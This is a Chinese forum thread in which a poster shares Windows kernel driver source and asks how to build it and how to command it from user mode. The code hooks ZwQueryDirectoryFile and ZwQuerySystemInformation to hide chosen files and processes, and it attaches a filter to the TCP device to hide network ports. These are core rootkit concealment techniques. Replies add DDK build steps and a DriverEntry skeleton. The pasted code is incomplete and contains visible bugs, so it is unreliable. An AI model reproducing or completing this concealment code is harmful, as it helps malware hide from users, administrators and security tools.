精通驱动开发的快来(如果问题解决,可以额外加分) (200分)

  • 主题发起人 主题发起人 kgen
  • 开始时间 开始时间
K

kgen

Unregistered / Unconfirmed
GUEST, unregistred user!
我对系统底层开发不是很熟悉。
近来要做系统底层程序,请高手指导。
下面的一个程序如何编译,请读懂的高手给程序加一下注释。

typedef struct _FILETIME
{
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME;

typedef struct _DirEntry
{
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;

struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};

struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};


// 隐藏目录/文件

NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName;
UNICODE_STRING uniFileName;
PP_DIR ptr;

WCHAR ParentDirectory[1024] = {0};
int BytesReturned;
PVOID Object;


// 执行旧的ZwQueryDirectoryFile函数
rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);

if(NT_SUCCESS(rc))
{
PDirEntry p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p = (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构
pLast = NULL;

do
{
bLastOne = !( p->dwLenToNext );
RtlInitUnicodeString(&uniFileName,p->suName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);

found=0;

// 在链表中查找是否包含当前目录
for(ptr = list_head; ptr != NULL; ptr = ptr->next)
{
if (ptr->flag != PTR_HIDEDIR) continue;
if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
{
found=1;
break;
}
}//end for

// 如果链表中包含当前目录,隐藏
if(found)
{
if(bLastOne)
{
if(p == (PDirEntry)FileInformationBuffer )
{
rc = 0x80000006; //隐藏
}
else
pLast->dwLenToNext = 0;
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
continue;
}
}
pLast = p;
p = (PDirEntry)((char *)p + p->dwLenToNext );
}while( !bLastOne );
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}


// 隐藏进程

NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;

ANSI_STRING process_name,process_uname,process_name1,process_name2;
BOOL g_hide_proc = TRUE;
CHAR aProcessName[80];
PP_DIR ptr;
int found;


// 执行旧的ZwQuerySystemInformation函数

rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );

if(NT_SUCCESS(rc ))
{
if( g_hide_proc && (5 == SystemInformationClass))
{
// 将查找出来结果赋给结构
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;

// 遍历进程
while(curr)
{

if((0 < process_name.Length) && (255 > process_name.Length))
{
found=0;
// 遍历链表
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
{
if (ptr->flag != PTR_HIDEPROC) continue ;

if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found =1;
}
}

// 判断如果是隐藏进程名则覆盖掉此进程名
while(found)
{

if(prev)
{
if(curr->NextEntryDelta)
{
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}

if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else
{
curr = NULL;break;
}
// 遍历链表
found = 0;
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
{
if (ptr->flag != PTR_HIDEPROC) continue ;

if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found = 1;
}
}
}
}
if(curr != NULL)
{
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
}
}
return(rc);
}



//隐藏端口

PDEVICE_OBJECT m_TcpgetDevice;

PDEVICE_OBJECT TcpDevice;
UNICODE_STRING TcpDeviceName;
PDRIVER_OBJECT TcpDriver;
PDEVICE_OBJECT TcpgetDevice;
PDEVICE_OBJECT FilterDevice
PDRIVER_DISPATCH Empty;
NTSTATUS status;

Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];

RtlInitUnicodeString( &TcpDeviceName, L"//Device//Tcp");

//得到已有的设备指针

status = IoGetDeviceObjectPointer( &TcpDeviceName,
FILE_ALL_ACCESS,
&FileObject,
&TcpDevice
);


if(!NT_SUCCESS(status))
{
DbgPrint("IoGetDeviceObjectPointer error!/n");
return status;
}

DbgPrint("IoGetDeviceObjectPointer ok!/n");

// 建立设备
status = IoCreateDevice( DriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&FilterDevice
);
if(!NT_SUCCESS(status))
{
return status;
}

// 加入设备

TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);

if(!TcpgetDevice)
{
IoDeleteDevice(FilterDevice);
DbgPrint("IoAttachDeviceToDeviceStack error!/n");
return STATUS_SUCCESS;
}

m_TcpgetDevice = TcpgetDevice;

// 加到过滤函数中处理
for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
{
if((TcpDriver->MajorFunction!=Empty)&&(DriverObject->MajorFunction==Empty))
{
DriverObject->MajorFunction = PassThrough;

}
}

ObDereferenceObject(FileObject);


NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{

NTSTATUS status;
PIO_STACK_LOCATION pIrpStack;

pIrpStack = IoGetCurrentIrpStackLocation( Irp );


//如是查询则完成 IRP
if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
{
//这里可以近一步判断某个端口

Irp->IoStatus.Status=STATUS_SUCCESS;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}

//复制当前 IRP
IoCopyCurrentIrpStackLocationToNext(Irp);

IoSetCompletionRoutine( Irp,
GenericCompletion,
NULL,
TRUE,
TRUE,
TRUE
);

//传递
return IoCallDriver( m_TcpgetDevice, Irp);

}

 
直接编译就行了
 
用DDK,看www.driverdevelop.com中的详细资料
 
听说这个程序既可以编译成Win2000的WDM驱动(DLL文件),或编译成Win9x的VXD
驱动(VXD文件)。用VC?还是DDK来生成?
请问如何生成不同的驱动。
另外,解释一下程序语句。
 
用 DDK 可以,用 VC 也可以!
请贴全!
 
>>请贴全
什么意思?
我用VC不行,能否详细的说一下。
 
要装DDK才行!
 
我安装了VS.net,应该有DDK了。但是,我不知道怎么用。
新建项目时,应该选哪种项目,MFCDll or Win32 or 其它?
 
gz818 的意思是:你这个程序不是一个完整的 DDK 程序
我看起来也觉得不象是完整的,连入口都没有
 
这是驱动开发网上down下来的。
我不太懂DDK的知识。
各位高手可以给我解释一下吗?
比如:DDK程序的格式,那些必须函数…………
 
大家帮帮忙!!
 
高手们都不想回答这些问题。
 
>>高手们都不想回答这些问题。
为什么????????????
 
因为他们是高手。他们认为只有他们才会玩这东东。
 
首先保存成一个.c文件
然后需要一个makefile和sources文件
这两个文件可以用2000ddk的,
只有几行

另外上面的代码不完整
缺少DriverEntry函数

上面代码是wdm的
扩展名是dll
需要2000ddk和vc编译
vc的ide不直接支持driver
一般用vc6

编译先运行ddk/check build.bat
用build 编译

ddk是开发包
vc是编译器

vxd需要98ddk或者vtools
 
>>DriverEntry
是不是入口函数?
如何加入?
 
驱动里面通常在DriverEntry进行初始化工作,比如创建设备和创建符号连接
例如:
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegisterPath)
{
int i;
NTSTATUS ntStatus;
PDEVICE_OBJECT pDeviceObject;
WCHAR wchrDeviceName[] = L"//Device//Test";
WCHAR wchrDeviceLinkName[] = L"//DosDevices//Test";
UNICODE_STRING wszDeviceName;
UNICODE_STRING wszDeviceLinkName;

RtlInitUnicodeString(&wszDeviceName, wchrDeviceName);
ntStatus = IoCreateDevice(pDriverObject, 0, &wszDeviceName, 0x00008000, 0, FALSE, &pDeviceObject);
if (ntStatus != STATUS_SUCCESS)
return ntStatus;
RtlInitUnicodeString(&wszDeviceLinkName, wchrDeviceLinkName);
ntStatus = IoCreateSymbolicLink(&wszDeviceLinkName, &wszDeviceName);
if (ntStatus != STATUS_SUCCESS)
{
IoDeleteDevice(pDeviceObject);
return ntStatus;
}
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
pDriverObject->MajorFunction = OnDriverDispatch;
pDriverObject->DriverUnload = OnDriverUnload;
return ntStatus;
}
 
很感谢 热血
我再研究一下
你能告诉我,如何在ring3级别的程序中控制这个驱动吗?
比如,我想让它隐藏 C:/Folder/aa 目录,如何实现。
如果,谁能把这个程序注释一下的话,我将另外给分。
 
后退
顶部